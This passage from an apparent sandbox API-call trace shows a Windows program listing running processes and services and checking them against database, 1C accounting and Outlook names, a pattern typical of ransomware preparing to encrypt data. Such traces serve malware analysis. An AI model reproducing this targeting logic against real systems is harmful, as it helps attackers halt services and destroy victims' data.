szExeFile="reader_sl.exe")) returned 1 [0136.976] lstrlenW (lpString="reader_sl.exe") returned 13 [0136.976] Process32NextW (in: hSnapshot=0x3b0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0136.976] lstrlenW (lpString="svchost.exe") returned 11 [0136.976] Process32NextW (in: hSnapshot=0x3b0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0136.977] lstrlenW (lpString="taskhost.exe") returned 12 [0136.977] Process32NextW (in: hSnapshot=0x3b0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 0 [0136.977] CloseHandle (hObject=0x3b0) returned 1 [0136.977] Sleep (dwMilliseconds=0x1f4) [0137.657] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x428b4b0 [0137.772] EnumServicesStatusExW (in: hSCManager=0x428b4b0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0) returned 0 [0137.773] GetLastError () returned 0xea [0137.773] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xc9a) returned 0x428bbd0 [0137.773] EnumServicesStatusExW (in: hSCManager=0x428b4b0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x428bbd0, cbBufSize=0xc9a, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x428bbd0, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0) returned 1 [0137.774] CloseServiceHandle (hSCObject=0x428b4b0) returned 1 [0137.774] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0137.774] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0137.774] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0137.774] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0137.774] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0137.774] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0137.774] lstrlenW (lpString="AudioSrv") returned 8 [0137.774] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0137.774] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0137.774] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0137.774] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0137.774] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0137.774] lstrlenW (lpString="BFE") returned 3 [0137.774] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0137.774] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0137.774] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0137.774] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0137.774] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0137.775] lstrlenW (lpString="CryptSvc") returned 8 [0137.775] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0137.775] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0137.775] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0137.775] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0137.775] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0137.775] lstrlenW (lpString="CscService") returned 10 [0137.775] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0137.775] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0137.775] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0137.775] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0137.775] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0137.775] lstrlenW (lpString="DcomLaunch") returned 10 [0137.775] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0137.775] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0137.775] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0137.775] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0137.775] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0137.775] lstrlenW (lpString="Dhcp") returned 4 [0137.775] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0137.775] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0137.775] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0137.775] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0137.775] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0137.775] lstrlenW (lpString="Dnscache") returned 8 [0137.775] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0137.775] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0137.775] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0137.775] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0137.775] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0137.775] lstrlenW (lpString="DPS") returned 3 [0137.775] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0137.775] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0137.775] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0137.775] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0137.775] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0137.775] lstrlenW (lpString="eventlog") returned 8 [0137.776] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0137.776] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0137.776] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0137.776] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0137.776] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0137.776] lstrlenW (lpString="EventSystem") returned 11 [0137.776] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0137.776] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0137.776] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0137.776] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0137.776] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0137.776] lstrlenW (lpString="gpsvc") returned 5 [0137.776] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0137.776] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0137.776] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0137.776] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0137.776] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0137.776] lstrlenW (lpString="LanmanWorkstation") returned 17 [0137.776] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0137.776] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0137.776] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0137.776] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0137.776] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0137.776] lstrlenW (lpString="lmhosts") returned 7 [0137.776] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0137.776] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0137.776] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0137.776] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0137.776] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0137.776] lstrlenW (lpString="MMCSS") returned 5 [0137.776] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0137.776] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0137.776] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0137.776] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0137.776] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0137.776] lstrlenW (lpString="MpsSvc") returned 6 [0137.776] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0137.777] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0137.777] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0137.777] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0137.777] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0137.777] lstrlenW (lpString="NlaSvc") returned 6 [0137.777] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0137.777] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0137.777] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0137.777] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0137.777] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0137.777] lstrlenW (lpString="nsi") returned 3 [0137.777] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0137.777] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0137.777] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0137.777] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0137.777] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0137.777] lstrlenW (lpString="PcaSvc") returned 6 [0137.777] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0137.777] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0137.777] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0137.777] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0137.777] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0137.777] lstrlenW (lpString="PlugPlay") returned 8 [0137.777] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0137.777] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0137.777] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0137.777] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0137.777] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0137.777] lstrlenW (lpString="Power") returned 5 [0137.777] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0137.777] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0137.777] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0137.777] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0137.777] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0137.777] lstrlenW (lpString="ProfSvc") returned 7 [0137.777] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0137.777] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0137.778] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0137.778] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0137.778] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0137.778] lstrlenW (lpString="RpcEptMapper") returned 12 [0137.778] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0137.778] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0137.778] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0137.778] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0137.778] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0137.778] lstrlenW (lpString="RpcSs") returned 5 [0137.778] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0137.778] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0137.778] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0137.778] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0137.778] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0137.778] lstrlenW (lpString="SamSs") returned 5 [0137.778] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0137.778] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0137.778] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0137.778] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0137.778] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0137.778] lstrlenW (lpString="Schedule") returned 8 [0137.778] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0137.778] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0137.778] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0137.778] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0137.778] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0137.778] lstrlenW (lpString="SENS") returned 4 [0137.778] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0137.778] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0137.778] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0137.778] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0137.778] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0137.778] lstrlenW (lpString="ShellHWDetection") returned 16 [0137.778] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0137.778] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0137.778] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0137.779] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0137.779] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0137.779] lstrlenW (lpString="Spooler") returned 7 [0137.779] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0137.779] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0137.779] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0137.779] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0137.779] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0137.779] lstrlenW (lpString="Themes") returned 6 [0137.779] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0137.779] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0137.779] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0137.779] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0137.779] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0137.779] lstrlenW (lpString="UxSms") returned 5 [0137.779] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0137.779] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0137.779] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0137.779] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0137.779] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0137.779] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x428bbd0 | out: hHeap=0x880000) returned 1 [0137.779] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x3b0 [0137.781] Process32FirstW (in: hSnapshot=0x3b0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0137.781] Process32NextW (in: hSnapshot=0x3b0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4a, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0137.782] lstrlenW (lpString="System") returned 6 [0137.782] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0137.782] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0137.782] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0137.782] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0137.782] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0137.782] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0137.782] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0137.782] Process32NextW (in: hSnapshot=0x3b0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0137.782] lstrlenW (lpString="smss.exe") returned 8 [0137.782] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0137.782] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0137.782] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0137.782] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0137.782] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0137.782] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0137.782] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0137.782] Process32NextW (in: hSnapshot=0x3b0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0137.783] lstrlenW (lpString="csrss.exe") returned 9 [0137.783] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0137.783] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0137.783] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0137.783] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0137.783] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0137.783] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0137.783] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0137.783] Process32NextW (in: hSnapshot=0x3b0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0137.783] lstrlenW (lpString="wininit.exe") returned 11 [0137.783] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0137.783] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0137.783] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0137.783] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0137.783] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0137.783] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0137.783] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0137.783] Process32NextW (in: hSnapshot=0x3b0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0137.784] lstrlenW (lpString="csrss.exe") returned 9 [0137.784] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0137.784] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0137.784] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0137.784] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0137.784] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0137.784] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0137.784] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0137.784] Process32NextW (in: hSnapshot=0x3b0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0137.784] lstrlenW (lpString="winlogon.exe") returned 12 [0137.784] lstrcmpiW (lpString1="1c8.exe", lpString2="winlogon.exe") returned -1 [0137.784] lstrcmpiW (lpString1="1cv77.exe", lpString2="winlogon.exe") returned -1 [0137.784] lstrcmpiW (lpString1="outlook.exe", lpString2="winlogon.exe") returned -1 [0137.785] lstrcmpiW (lpString1="postgres.exe", lpString2="winlogon.exe") returned -1 [0137.785] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="winlogon.exe") returned -1 [0137.785] lstrcmpiW (lpString1="mysqld.exe", lpString2="winlogon.exe") returned -1 [0137.785] lstrcmpiW (lpString1="sqlservr.exe", lpString2="winlogon.exe") returned -1 [0137.785] Process32NextW (in: hSnapshot=0x3b0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0137.786] lstrlenW (lpString="services.exe") returned 12 [0137.786] lstrcmpiW (lpString1="1c8.exe", lpString2="services.exe") returned -1 [0137.786] lstrcmpiW (lpString1="1cv77.exe", lpString2="services.exe") returned -1 [0137.786] lstrcmpiW (lpString1="outlook.exe", lpString2="services.exe") returned -1 [0137.786] lstrcmpiW (lpString1="postgres.exe", lpString2="services.exe") returned -1 [0137.786] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="services.exe") returned -1 [0137.786] lstrcmpiW (lpString1="mysqld.exe", lpString2="services.exe") returned -1 [0137.786] lstrcmpiW (lpString1="sqlservr.exe", lpString2="services.exe") returned 1 [0137.786] Process32NextW (in: hSnapshot=0x3b0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0137.787] lstrlenW (lpString="lsass.exe") returned 9 [0137.787] lstrcmpiW (lpString1="1c8.exe", lpString2="lsass.exe") returned -1 [0137.787] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsass.exe") returned -1 [0137.787] lstrcmpiW (lpString1="outlook.exe", lpString2="lsass.exe") returned 1 [0137.787] lstrcmpiW (lpString1="postgres.exe", lpString2="lsass.exe") returned 1 [0137.787] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsass.exe") returned 1 [0137.787] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsass.exe") returned 1 [0137.787] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsass.exe") returned 1 [0137.787] Process32NextW (in: hSnapshot=0x3b0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0137.787] lstrlenW (lpString="lsm.exe") returned 7 [0137.787] lstrcmpiW (lpString1="1c8.exe", lpString2="lsm.exe") returned -1 [0137.787] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsm.exe") returned -1 [0137.787] lstrcmpiW (lpString1="outlook.exe", lpString2="lsm.exe") returned 1 [0137.787] lstrcmpiW (lpString1="postgres.exe", lpString2="lsm.exe") returned 1 [0137.787] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsm.exe") returned 1 [0137.787] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsm.exe") returned 1 [0137.787] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsm.exe") returned 1 [0137.787] Process32NextW (in: hSnapshot=0x3b0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0137.788] lstrlenW (lpString="svchost.exe") returned 11 [0137.788] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0137.788] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0137.788] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0137.788] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0137.788] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0137.788] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0137.788] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0137.788] 